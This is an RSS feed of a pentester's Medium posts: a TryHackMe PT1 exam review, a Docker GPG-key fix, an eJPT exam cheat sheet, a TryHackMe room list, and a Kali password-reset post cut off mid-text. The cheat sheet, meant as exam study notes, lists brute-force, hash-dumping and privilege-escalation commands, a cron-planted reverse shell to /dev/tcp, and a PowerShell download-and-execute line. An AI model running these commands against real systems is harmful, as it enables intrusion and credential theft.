<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Toheeb Kayode Adisa on Medium]]></title>
        <description><![CDATA[Stories by Toheeb Kayode Adisa on Medium]]></description>
        <link>https://medium.com/@pwnstar?source=rss-6a85c0238544------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*HxXeNvqhUK2Za86q.jpg</url>
            <title>Stories by Toheeb Kayode Adisa on Medium</title>
            <link>https://medium.com/@pwnstar?source=rss-6a85c0238544------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 07:29:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pwnstar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The TryHackMe PT1 Journey: Is the Junior Pen Tester Exam Really for Beginners?]]></title>
            <link>https://medium.com/@pwnstar/the-tryhackme-pt1-journey-is-the-junior-pen-tester-exam-really-for-beginners-9ce34d942c73?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ce34d942c73</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 10:24:43 GMT</pubDate>
            <atom:updated>2025-09-18T10:24:43.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello There!</p><p>Today, I’m excited to share my experience with TryHackMe’s newest certification: the PT1, or Junior Penetration Tester exam. This certification is designed for a wide range of professionals, from aspiring cybersecurity experts and security analysts to system administrators and security researchers. For many, it’s their first formal step into the world of penetration testing.</p><p>But the big question I set out to answer is this: is it truly “beginner” friendly?</p><p>Let’s Find Out, Stay Glue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*yLPtfQizaUwhjhEG.png" /><figcaption>Tryhackme</figcaption></figure><h4>A Look at the PT1</h4><p>The PT1 is not your typical multiple-choice test. It’s a fully hands-on, real-world penetration testing simulation. The exam is structured as a full-scale security engagement, a realistic model of what you’d do for a client. It’s broken down into three key areas of focus:</p><p>Application Security (40%)<br>Network Security (36%)<br>Active Directory (24%)</p><p>Your mission? Find security vulnerabilities in each area and deliver a professional report all within a tight, 48-hour deadline.</p><p>And yes, it’s also a Capture the Flag (CTF) challenge. You’re required to find a flag for every vulnerability you identify, a part of the process that I found both rewarding and, at times, incredibly frustrating. I’ll dive deeper into that later.</p><p>As for my own journey, I was fortunate to receive a free exam attempt through TryHackMe’s giveaway for holders of various certifications, including the GIAC GPEN, PNPT, CompTIA PenTest+, and OSCP. I’ve been a certified eJPT, so I was able to take them up on the offer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xc51hU1bBJwUDObdTUpzOw.jpeg" /><figcaption>PT1 Voucher</figcaption></figure><h4>The Exam Environment</h4><p>No two attempts at the PT1 are the same. Each time you start, you’re placed in a brand new, randomly generated environment with a unique set of vulnerabilities. This ensures you’re always solving new problems, not just memorizing solutions.</p><p>While you can reset your lab, the challenges and flags will remain the same for your specific session. Only a new attempt will give you a fresh set of scenarios.</p><p>Once you press the “Start” button, the 48-hour clock begin and there’s no stopping it. Careful time management is a critical skill here, so it’s essential to have a clear schedule and a well-prepared toolkit.</p><p>You have the choice to use TryHackMe’s built-in AttackBox or your own local Kali setup. I strongly recommend using your own machine and a secure VPN connection. TryHackMe provides a secure `.ovpn` file, allowing you to connect seamlessly. Trust me, it makes a huge difference.</p><h4>Web Application Security</h4><p>This section focuses on a single web application with four vulnerabilities and four corresponding flags. In my case, I was able to identify three of the vulnerabilities without too much trouble, which was a good start. However, the real challenge was finding the flags themselves.</p><p>This became an exercise in patience. I spent a significant amount of time on this domain, and while I was able to uncover some critical security issues, I couldn’t always retrieve the flags. It was a frustrating reminder that identifying a flaw is only part of the job; a successful engagement requires full access to the target</p><p><strong>My Recommended Tools:</strong></p><p>For this section, there’s one tool you absolutely must master: Burp Suite. Being comfortable with this powerful tool is essential for manipulating and analyzing web traffic. Configuring it with FoxyProxy in Firefox makes interception a breeze and will significantly improve your chances of success.</p><p><strong>My Personal Difficulty Rating:</strong> 7/10</p><h4>Network Security</h4><p>The network portion of the exam tasked me with compromising two hosts and capturing four flags. After the frustration of the web app flags, I was ready for a change of pace. I moved to the network domain, where my solid enumeration skills paid off. I was able to successfully compromise the first machine (a Linux box) in under an hour. My advice? Trust your enumeration and put in the research.</p><p>The second machine was a different story. It was much more complex, requiring me to download external tools and conduct a significant amount of research. I hit a wall and decided to take a much-needed break. Stepping away for a bit allowed me to return with a fresh perspective, and eventually, I was able to successfully compromise the second machine as well.</p><h4>My Recommended Tools:</h4><p><strong>Nmap: </strong>A must-have for any network engagement.<br><strong>Metasploit:</strong> This is a fantastic tool for generating reverse shells, automating enumeration, and even exploiting vulnerabilities. It’s incredibly versatile.<br><strong>Google &amp; AI Assistants:</strong> When you get stuck, don’t hesitate to use search engines or AI tools like Copilot or ChatGPT. They can be invaluable resources for looking up specific error codes or understanding unfamiliar tools.<br><strong>RevShell:</strong> A handy tool for creating reverse shells when you need one.</p><p><strong>My Personal Difficulty Rating: </strong>8.5/10 The second machine really pushed my limits and made me question my life choices.</p><h4>Active Directory</h4><p>This part of the exam involved compromising two hosts and capturing two flags. For this domain, proper enumeration is the key to everything. Without a solid understanding of the environment and a clear attack path, you simply won’t be able to progress.</p><p>In my case, the Active Directory portion was less of a traditional AD test and more of a comprehensive journey: it involved initial access, local privilege escalation, and executing post-compromise actions. While there was a simple AD step required to fully own the domain, the path to get there was straightforward, without the complex lateral movement or winding escalation paths you might expect. The connection between the domain controller and the clients was also a bit unreliable.</p><h4>My Recommended Tools:</h4><p>To succeed in this domain, you need to be comfortable with a wide array of tools designed for Active Directory engagements:</p><p>CrackMapExec / NetExec<br>BloodHound<br>Ligolo-ng (Though Didn’t use it!)<br>Mimikatz / Kiwi<br>Evil-WinRM(This was particularly helpful)</p><p><strong>My Personal Difficulty Rating:</strong> 7/10</p><h4>What Does the Reporting Look Like?</h4><p>The reporting phase was one of the most impressive parts of the PT1 experience. It genuinely felt like preparing a professional report for a real-world client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*gCQK30d1RgKFHJCS.png" /><figcaption>Tryhackme</figcaption></figure><p>The reporting UI is excellent. Unlike some other certifications, TryHackMe’s format is structured and professional:</p><p><strong>Summary: </strong>An overview of the issue, its scope, impact, and a conclusion.<br><strong>Vulnerability Type:</strong> You select the issue from a predefined list (e.g., SQLi, XSS, Business Logic).<br><strong>CVSS Score: </strong>You assign a severity level using a simple, predefined selection.<br><strong>Flag Submission:</strong> The flag is submitted in a dedicated text box.<br><strong>Description: </strong>You provide a detailed explanation of the vulnerability and how to reproduce it.<br><strong>Remediations:</strong> You offer clear, actionable recommendations to fix the problem.</p><h4>The Upside of THM’s Reporting:</h4><p>The detailed feedback is a highlight. They provide commentary on your strengths and weaknesses in each section, which is incredibly valuable for improving your reporting skills.</p><h4>The Downside of THM’s Reporting:</h4><p>The reports are graded by an AI. While this system is efficient and reduces grading workload, it can feel impersonal. The AI grading system still needs improvement, and crucially, the grade is heavily weighted toward whether you found the flag. This means a critical vulnerability you find but can’t get the flag for results in a low score, which can be disheartening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*AncMJJ1EuwuzItzkaxfVOg.png" /><figcaption>TryHackMe</figcaption></figure><h4>Is the Recommended Course Path Enough?</h4><p>TryHackMe’s suggested learning path the Jr. Penetration Tester Path, plus Web Fundamentals and Active Directory Fundamentals provides a solid foundation. However, to truly prepare for the exam, I believe you need to go beyond those modules. I highly recommend seeking out additional resources for Active Directory and using platforms like PortSwigger Academy to build a stronger foundation in web penetration testing.</p><h3>My Final Thought: Is It Really “Beginner” Friendly?</h3><p>In my honest opinion, no, it is not.</p><p>While the name might suggest it’s for beginners, the PT1 demands a deep, practical understanding of penetration testing fundamentals. This is not a guided lab with step-by-step instructions; it’s a full-scale simulation that requires critical thinking and the ability to pivot when you hit a roadblock.</p><p>My key piece of advice for this exam and for any professional career is to take regular breaks, stay calm, and don’t panic. Sometimes, the best solution is to step away and come back with a clear head.</p><p>The term “Junior Penetration Tester” shouldn’t be confused with “total beginner.” A junior professional is someone with real, practical skills who is ready to enter the field. The PT1 reflects this reality by providing a rigorous, hands-on challenge that tests your technical knowledge, tool proficiency, and problem-solving mindset. It’s a fantastic certification, but it’s a true test of your readiness for the job.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ce34d942c73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fixing the Docker GPG Key Error on Kali Linux (Debian)]]></title>
            <link>https://medium.com/@pwnstar/fixing-the-docker-gpg-key-error-on-kali-linux-debian-c478b055c631?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/c478b055c631</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[system-administration]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Thu, 04 Sep 2025 18:59:40 GMT</pubDate>
            <atom:updated>2025-09-04T18:59:40.270Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve been trying to install or update Docker on <strong>Kali Linux (based on Debian)</strong>, chances are you’ve hit this dreaded error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2N3SsVwAEqP0EJ-Co0INA.png" /></figure><p>Don’t worry you didn’t break anything. This just means that Docker changed its repository signing keys and your system doesn’t yet know how to verify them.</p><p>In this post, we’ll break down:</p><ul><li>What the error actually means</li><li>Why Docker uses GPG keys</li><li>Step-by-step instructions to fix it</li><li>A quick one-liner for power users</li></ul><h3>Why Does This Happen?</h3><p>When you add a repository to your Linux system, apt (the package manager) requires a <strong>GPG key</strong> to verify that the software comes from a trusted source.</p><ul><li>Think of the GPG key like a <strong>digital signature</strong>.</li><li>If the signature is missing or outdated, apt blocks the update to protect you from downloading malicious or tampered packages.</li></ul><p>In this case, the error says:</p><ul><li>The <strong>Docker repository</strong> is valid.</li><li>But the <strong>key 7EA0A9C3F273FCD8</strong> is missing.</li><li>So apt refuses to update.</li></ul><p>To fix it, we simply need to <strong>add Docker’s latest signing key</strong> and tell apt to use it.</p><h3>Step 1: Remove Old Docker Keys</h3><p>On older installations, Docker’s GPG key might still live in /etc/apt/trusted.gpg.d/. That location is now deprecated. Let’s clean it up:</p><pre>sudo rm /etc/apt/trusted.gpg.d/docker.gpg 2&gt;/dev/null</pre><p>This command removes the outdated key (and silently ignores it if it’s not there).</p><h3>Step 2: Add the New Docker GPG Key</h3><p>Docker now recommends storing keys in /etc/apt/keyrings. Run the following:</p><pre>sudo mkdir -p /etc/apt/keyrings<br>curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg</pre><ul><li>curl -fsSL → downloads the Docker GPG key.</li><li>gpg --dearmor → converts it into a format apt can use.</li><li>The file is saved in /etc/apt/keyrings/docker.gpg.</li></ul><p>Now set the correct permissions so everyone can read it:</p><pre>sudo chmod a+r /etc/apt/keyrings/docker.gpg</pre><h3>Step 3: Update the Docker Repository Source</h3><p>We need to tell apt where to find Docker packages and what key to use. Create/update the repo file:</p><pre>echo \<br>  &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \<br>  bookworm stable&quot; | sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null</pre><ul><li>arch=$(dpkg --print-architecture) → ensures it matches your CPU architecture (amd64, arm64, etc.).</li><li>signed-by=/etc/apt/keyrings/docker.gpg → tells apt to trust Docker packages signed with this key.</li><li>bookworm stable → targets Debian Bookworm (Kali’s base).</li></ul><h3>Step 4: Update and Install Docker</h3><p>Refresh your package lists:</p><pre>sudo apt update</pre><p>This time, no GPG error</p><p>Now install Docker and related tools:</p><pre>sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y</pre><p>This error looks scary, but it’s really just apt doing its job protecting your system from unsigned packages. By adding Docker’s updated signing key and configuring the repository properly, you can install Docker securely on <strong>Kali Linux (Debian)</strong>.</p><p>With Docker installed, you’re ready to spin up containers, build apps, or dive into DevOps workflows without any more GPG headaches.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c478b055c631" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My eJPT Journey: Notes, andTips, That Helped Me Pass]]></title>
            <link>https://medium.com/@pwnstar/my-ejpt-journey-notes-tips-and-lessons-that-helped-me-pass-1e64fe2c3355?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e64fe2c3355</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Sun, 18 May 2025 09:52:39 GMT</pubDate>
            <atom:updated>2025-05-18T09:53:49.441Z</atom:updated>
            <content:encoded><![CDATA[<p>The eLearnSecurity Junior Penetration Tester (eJPT) certification is a 100% practical exam focusing on penetration testing and information security essentials. It’s designed to assess your ability to perform real-world tasks in a controlled environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/0*42olWTra4njAAnSm.png" /></figure><h3>Understanding the eJPT Exam</h3><ul><li><strong>Exam Format</strong>: The eJPT v2 is a browser-based, dynamic exam lasting 48 hours.</li><li><strong>Passing Criteria</strong>: To pass, you need an overall score of at least 70%, meeting the minimum requirements in each domain:</li><li><strong>Assessment Methodologies</strong>: 90%</li><li><strong>Host and Network Penetration Testing</strong>: 70%</li><li><strong>Web Application Penetration Testing</strong>: 60%</li><li><strong>Host and Network Auditing</strong>: 80%</li><li><strong>Exam Environment</strong>: You’ll receive a Letter of Engagement outlining the scope and lab guidelines. Ensure you have a stable internet connection throughout the exam. (<a href="https://security.ine.com/certifications/ejpt-certification">INE Security</a>)</li></ul><h3>Preparation: The Course</h3><p>The Penetration Testing Student course is your primary study resource. It offers comprehensive materials, including labs that mirror the exam environment. While studying:</p><ul><li>Take detailed notes.</li><li>Avoid treating the exam like a Capture The Flag (CTF) challenge; approach it as a real-world penetration test.</li><li>Understand each phase of the penetration testing methodology.</li><li>Practice enumeration and information gathering extensively.</li></ul><h3>Essential Commands and Tools</h3><p>Familiarize yourself with the following commands and tools, as they are crucial during the exam:</p><h4>1. Discovering Hosts on the Network</h4><p>Check your IP address:</p><pre>ifconfig</pre><p>Scan your subnet for live hosts:</p><pre>netdiscover -r 10.10.10.0/24</pre><p>Use Nmap for more detailed scanning:</p><pre>nmap -sV 10.10.10.0/24 </pre><h3>2. Port Scanning</h3><p>Once you’ve identified a target host (e.g., 10.10.10.10), scan all ports on each discovered host:</p><pre>nmap 10.10.10.10 -p- </pre><p>You can also use the script and version scan:</p><pre>nmap -sC -sV 10.10.10.10</pre><h3>3. FTP Enumeration (Port 21)</h3><p>Check for anonymous login:</p><pre>nmap 10.10.10.10 -p 21 --script ftp-anon</pre><p>Connect using FTP:</p><pre>ftp 10.10.10.10</pre><p>Use:</p><ul><li>Username:anonymous</li><li>Password:anonymous</li></ul><h3>4. SSH Enumeration (Port 22)</h3><p>Brute-force SSH login with Hydra:</p><pre>hydra -l pwnstar -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10</pre><h3>5. HTTP Login Bruteforce</h3><p>Brute-force a web login form:</p><pre>hydra -l pwnstar -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:F=incorrect&quot;</pre><p>Make sure to update the failure message (F=incorrect) and path (/login.php) to match the actual target.</p><h3>6. SMB Enumeration (Port 445)</h3><p>Brute-force SMB login using Hydra:</p><pre>hydra -l pwnstar -P /usr/share/wordlists/rockyou.txt smb://10.10.10.10</pre><p>Using Metasploit:</p><pre>use auxiliary/scanner/smb/smb_login<br>set USERNAME pwnstar<br>set PASS_FILE /usr/share/wordlists/rockyou.txt<br>set RHOSTS 10.10.10.10<br>run</pre><p>Enumerate SMB users:</p><pre>enum4linux -U 10.10.10.10</pre><p>List SMB shares:</p><pre>smbclient -L 10.10.10.10</pre><p>Connect to a shared folder:</p><pre>smbclient //10.10.10.10/shared<br><br></pre><p>If valid SMB credentials are found, exploit via Metasploit:</p><pre>use exploit/windows/smb/psexec<br>set SMBUser pwnstar<br>set SMBPass pwnstar<br>set RHOSTS 10.10.10.10<br>run</pre><h3>7. MySQL Enumeration (Port 3306)</h3><p>Brute-force MySQL credentials:</p><pre>hydra -l pwnstar -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.10</pre><p>Log in manually:</p><pre>mysql -h 10.10.10.10 -u pwnstar -p</pre><h3>8. Directory Enumeration</h3><p>Use Dirb to discover hidden web directories.</p><pre>dirb http://10.10.10.10</pre><p>Use gobuster to discover brute-force and get some important files</p><pre>gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x .bak,html,php,txt,zip</pre><h3>9. WordPress Enumeration</h3><p>Scan WordPress site:</p><pre>wpscan --url http://10.10.10.10 --enumerate u<br><br>This should enumerate availabe users on the target</pre><p>Brute-force WordPress login:</p><pre>wpscan --url http://10.10.10.10 -U pwnstar -P /usr/share/wordlists/rockyou.txt</pre><h3>10. WebDAV Enumeration with Cadaver</h3><p>Install Cadaver:</p><pre>sudo apt install cadaver</pre><p>Connect to WebDAV:</p><pre>cadaver http://10.10.10.10/webdav</pre><p>Use credentials:</p><ul><li>Username: pwnstar</li><li>Password: pwnstar</li></ul><p>Useful Cadaver commands:</p><ul><li>ls – List files</li><li>get file.txt – Download file</li><li>put shell.php – Upload file</li><li>delete file.txt – Delete file</li></ul><h3>11. Post-Exploitation (Windows)</h3><p>Stabilize your session in Meterpreter:</p><pre>ps<br>pgrep lsass.exe<br>migrate -N lsass.exe</pre><p>Determine what privileges your current Meterpreter session has:</p><pre>getprivs</pre><p>This will display a list of the available privileges. Look for SeDebugPrivilege, SeImpersonatePrivilege, or SeAssignPrimaryTokenPrivilege, which may be helpful for privilege escalation.</p><p>If you’re not already an admin or SYSTEM, it’s time to escalate privileges.</p><h4>Use the Local Exploit Suggester</h4><p>The Metasploit module post/multi/recon/local_exploit_suggester checks the system for known privilege escalation vulnerabilities.</p><ol><li>Background your session:</li></ol><pre>background</pre><p>Load the module:</p><pre>use post/multi/recon/local_exploit_suggester</pre><p>Set the session ID:</p><pre>set SESSION &lt;your-session-id&gt;</pre><p>Run the module:</p><pre>run</pre><p>This will output a list of possible privilege escalation exploits you can try. Make sure you read the output carefully some exploits might crash the system.</p><p>Dump password hashes:</p><pre>hashdump</pre><p>Spawn a shell:</p><pre>shell</pre><p>Basic Windows user enumeration:</p><pre>net user<br>net localgroup administrators<br>whoami</pre><h3>12. Post-Exploitation (Linux)</h3><p>Once you gain a shell or Meterpreter session on a Linux machine, post-exploitation involves collecting system information, checking for misconfigurations, and escalating privileges. Here’s a practical checklist:</p><h4>System and User Enumeration</h4><p>Start with basic recon:</p><pre>whoami<br>id<br>uname -a<br>hostname</pre><p>Check environment variables:</p><pre>env</pre><p>List users and their home directories:</p><pre>cat /etc/passwd</pre><p>List all groups the current user belongs to:</p><pre>groups</pre><h4>Sudo Privileges</h4><p>Check if the user has sudo rights (without a password):</p><pre>sudo -l</pre><p>If you find something like:</p><pre>(ALL) NOPASSWD: /usr/bin/vim</pre><p>You can exploit it:</p><pre>sudo vim -c &#39;:!sh&#39;</pre><p>This drops you into a root shell. Always check <a href="https://gtfobins.github.io/">GTFOBins</a> for ways to escalate via allowed binaries.</p><h4>Check for World-Writable Files and SUID Binaries</h4><p>Find files with SUID bit (which run with the owner’s permissions):</p><pre>find / -perm -4000 2&gt;/dev/null</pre><p>Again, GTFOBins is your best friend.</p><p>Example:</p><p>If find is SUID:</p><pre>find . -exec /bin/sh \; -quit</pre><p>Check for world-writable files:</p><pre>find / -writable -type f 2&gt;/dev/null</pre><h4>Credential Hunting</h4><p>Look for sensitive files:</p><pre>cat ~/.bash_history</pre><pre>cat /etc/shadow</pre><pre>ls -la /root</pre><pre>grep -r &quot;password&quot; /home/*</pre><p>Check scheduled tasks for credentials or backdoors:</p><pre>cat /etc/crontab</pre><h4>Exploiting Weak File Permissions</h4><p>If a service or script running as root is editable by the current user (e.g., in cron jobs), you can modify it to spawn a root shell.</p><p>For example, if /etc/cron.d/backup.sh is writable:</p><pre>echo &quot;bash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1&quot; &gt; /etc/cron.d/backup.sh</pre><p>Set up a listener on your machine:</p><pre>nc -lvnp 4444</pre><p>Wait for cron to trigger.</p><h4>Verify Privilege Escalation</h4><p>Check again:</p><pre>whoami<br>id</pre><p>You’re root when:</p><pre>uid=0(root) gid=0(root)</pre><p>You can now explore sensitive files, pivot to other hosts, or create backdoors for persistence.</p><h3>13. Pivoting with Meterpreter</h3><p>Let’s say</p><ul><li>Attacker IP:10.10.10.50</li><li>Compromised machine:10.10.10.10</li><li>Internal machine:192.168.0.189</li></ul><p>Add a route to the internal network:</p><pre>run autoroute -s 192.168.0.0/24</pre><p>Scan the internal network.</p><pre>use auxiliary/scanner/portscan/tcp<br>set RHOSTS 192.168.0.189-254<br>set PORTS 22,80,139,445,3306<br>run</pre><p>Forward the internal port to your local machine:</p><pre>portfwd add -l 1234 -p 80 -r 192.168.0.189</pre><p>Access via browser:</p><pre>http://127.0.0.1:1234</pre><h3>14. Cracking Password Hashes with John</h3><p>Crack a shadow hash:</p><pre>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>Crack MD5 or NTLM:</p><pre>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-md5<br>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT</pre><h3><strong>15. File transfer</strong></h3><p>Netcat</p><pre>$nc -lvp 1234 &gt; file.txt (To/Destination)<br>$nc 10.10.10.10 &lt; file.txt (From/Source)</pre><p>SSH</p><pre>$scp user@10.10.10.10:/home/user/file.txt /home/student/</pre><p>Python Server</p><pre>$python3 -m http.server 8000  #from</pre><pre>$wget <a href="http://ip:8000/file.txt">http://IP:8000/file.txt</a> #To</pre><pre>powershell.exe -c &quot;IEX((New-Object System.Net.WebClient).DownloadString(&#39;http://IP:8080/file.txt&#39;))&quot;</pre><h3>Final Advice</h3><p>Don’t just memorize commands, understand why and when to use each one. Practice with each tool and read the output carefully. The eJPT exam tests both technical skill and your ability to think like an attacker.</p><p>To help you get lab-ready, I’ve written a separate blog post that lists <a href="https://medium.com/@pwnstar/free-tryhackme-rooms-to-help-you-pass-your-ejpt-exam-075a30e97041"><strong>all the essential TryHackMe rooms</strong></a> you should complete before taking the exam.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e64fe2c3355" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Free TryHackMe Rooms to Help You Pass Your eJPT Exam]]></title>
            <link>https://medium.com/@pwnstar/free-tryhackme-rooms-to-help-you-pass-your-ejpt-exam-075a30e97041?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/075a30e97041</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ejptv2]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Sun, 18 May 2025 09:51:10 GMT</pubDate>
            <atom:updated>2025-05-18T09:51:10.803Z</atom:updated>
            <content:encoded><![CDATA[<p>Whether you’re just getting started in cybersecurity or you’re preparing for your next big certification, <strong>TryHackMe</strong> is one of the best platforms to build hands-on skills. As someone actively pursuing the same path, I’ve compiled a list of <strong>free TryHackMe rooms</strong> categorized by tools and techniques to help you <strong>master core topics</strong> like Enumeration, Nmap, Metasploit, Web App Testing, and more.</p><h3>Nmap</h3><ul><li><a href="https://tryhackme.com/room/furthernmap">Nmap</a></li><li><a href="https://tryhackme.com/room/nmap01">Nmap Live Host Discovery</a></li><li><a href="https://tryhackme.com/room/ice">Ice</a></li><li><a href="https://tryhackme.com/room/rustscan">RustScan</a></li></ul><h3>Metasploit</h3><ul><li><a href="https://tryhackme.com/room/metasploitintro">Metasploit Introduction</a></li><li><a href="https://tryhackme.com/room/postexploit">Post-Exploitation Basics</a></li><li><a href="https://tryhackme.com/room/intropocscripting">Intro to PoC Scripting</a></li><li><a href="https://tryhackme.com/room/ice">Ice</a></li><li><a href="https://tryhackme.com/room/bolt">Bolt</a></li></ul><h3>Directory Brute-Forcing</h3><ul><li><a href="https://tryhackme.com/room/picklerick">Pickle Rick</a></li><li><a href="https://tryhackme.com/room/overpass">Overpass</a></li><li><a href="https://tryhackme.com/room/ffuf">FFUF</a></li></ul><h3>Web Application Testing</h3><ul><li><a href="https://tryhackme.com/room/vulnversity">Vulnversity</a></li><li><a href="https://tryhackme.com/room/burpsuitebasics">Burp Suite Basics</a></li><li><a href="https://tryhackme.com/room/vulnerabilities101">Vulnerabilities 101</a></li><li><a href="https://tryhackme.com/room/webgoat">WebGOAT</a></li></ul><h3>WordPress Challenges</h3><ul><li><a href="https://tryhackme.com/room/basicpentestingjt">Basic Pentesting</a></li><li><a href="https://tryhackme.com/room/blog">Blog</a></li><li><a href="https://tryhackme.com/room/wordpresscve202129447">WordPress CVE-2021–29447</a></li><li><a href="https://tryhackme.com/room/jason">Jason</a></li><li><a href="https://tryhackme.com/room/cmspit">CMSpit</a></li><li><a href="https://tryhackme.com/room/yearofthepig">Year of the Pig</a></li></ul><h3>Hydra (Brute Forcing)</h3><ul><li><a href="https://tryhackme.com/room/hydra">Hydra</a></li><li><a href="https://tryhackme.com/room/bruteforceheroes">Brute Force Heroes</a></li></ul><h3>Pivoting</h3><ul><li><a href="https://tryhackme.com/room/wreath">Wreath</a></li></ul><h3>CTF Challenges</h3><ul><li><a href="https://tryhackme.com/room/vulnnetinternal">VulnNet Internal</a></li><li><a href="https://tryhackme.com/room/unbakedpie">Unbaked Pie</a></li><li><a href="https://tryhackme.com/room/source">Source</a></li><li><a href="https://tryhackme.com/room/poster">Poster</a></li><li><a href="https://tryhackme.com/room/h4cked">H4cked</a></li><li><a href="https://tryhackme.com/room/goldeneye">GoldenEye</a></li><li><a href="https://tryhackme.com/room/undiscoveredup">Undiscovered</a></li><li><a href="https://tryhackme.com/room/brooklynninenine">Brooklyn Nine Nine</a></li><li><a href="https://tryhackme.com/room/anonymous">Anonymous</a></li><li><a href="https://tryhackme.com/room/easypeasyctf">Easy Peasy</a></li><li>G<a href="https://tryhackme.com/room/goldeneye">oldenEye</a></li><li><a href="https://tryhackme.com/room/jokerctf">HA Joker CTF</a></li></ul><p>Learning cybersecurity is like learning a new language. But with these free and practical TryHackMe rooms, you’re not just studying concepts; you’re applying them in real-world environments.</p><p>I’m constantly working on detailed write-ups, strategies, and study guides based on these rooms. If this list helped you, consider following me on Medium for more updates and future walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=075a30e97041" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Reset Kali Password Without Re-Installation]]></title>
            <link>https://medium.com/@pwnstar/how-to-reset-kali-password-without-re-installation-1b0cdf123969?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b0cdf123969</guid>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Mon, 12 May 2025 18:37:24 GMT</pubDate>
            <atom:updated>2025-05-12T18:37:24.491Z</atom:updated>
            <content:encoded><![CDATA[<p>When I embarked on my cybersecurity journey, Kali Linux was my go to operating system, because of its robust suite of tools was both a playground and a battlefield for a RedTeamer. However, there was a recurring strikes, forgetting my password after installations.</p><p>Back then, my solution was always to drain, format the system clean and reinstall Kali from scratch. It was time-consuming and disheartening, especially after setting up a personalised lab environment. The thought of losing all configurations and starting afresh was disheartening.</p><p>Fast forward to recent times, as I moved deeper into building my labs and exploring the world of DevSecOps. Containerization became a major focus, and with it, the need for efficient system management. It was during this phase that I stumbled upon a game-changer, resetting the Kali Linux root password via the GRUB menu. This method was a revelation, I would even say My Saviour lol. No more reinstalls, no more lost configurations, just a straightforward process to regain access.</p><p>Here’s how you can do it too.</p><h3>Step 1: Open the Boot Screen</h3><p>Whether you are using a dual-boot system, a standalone Kali 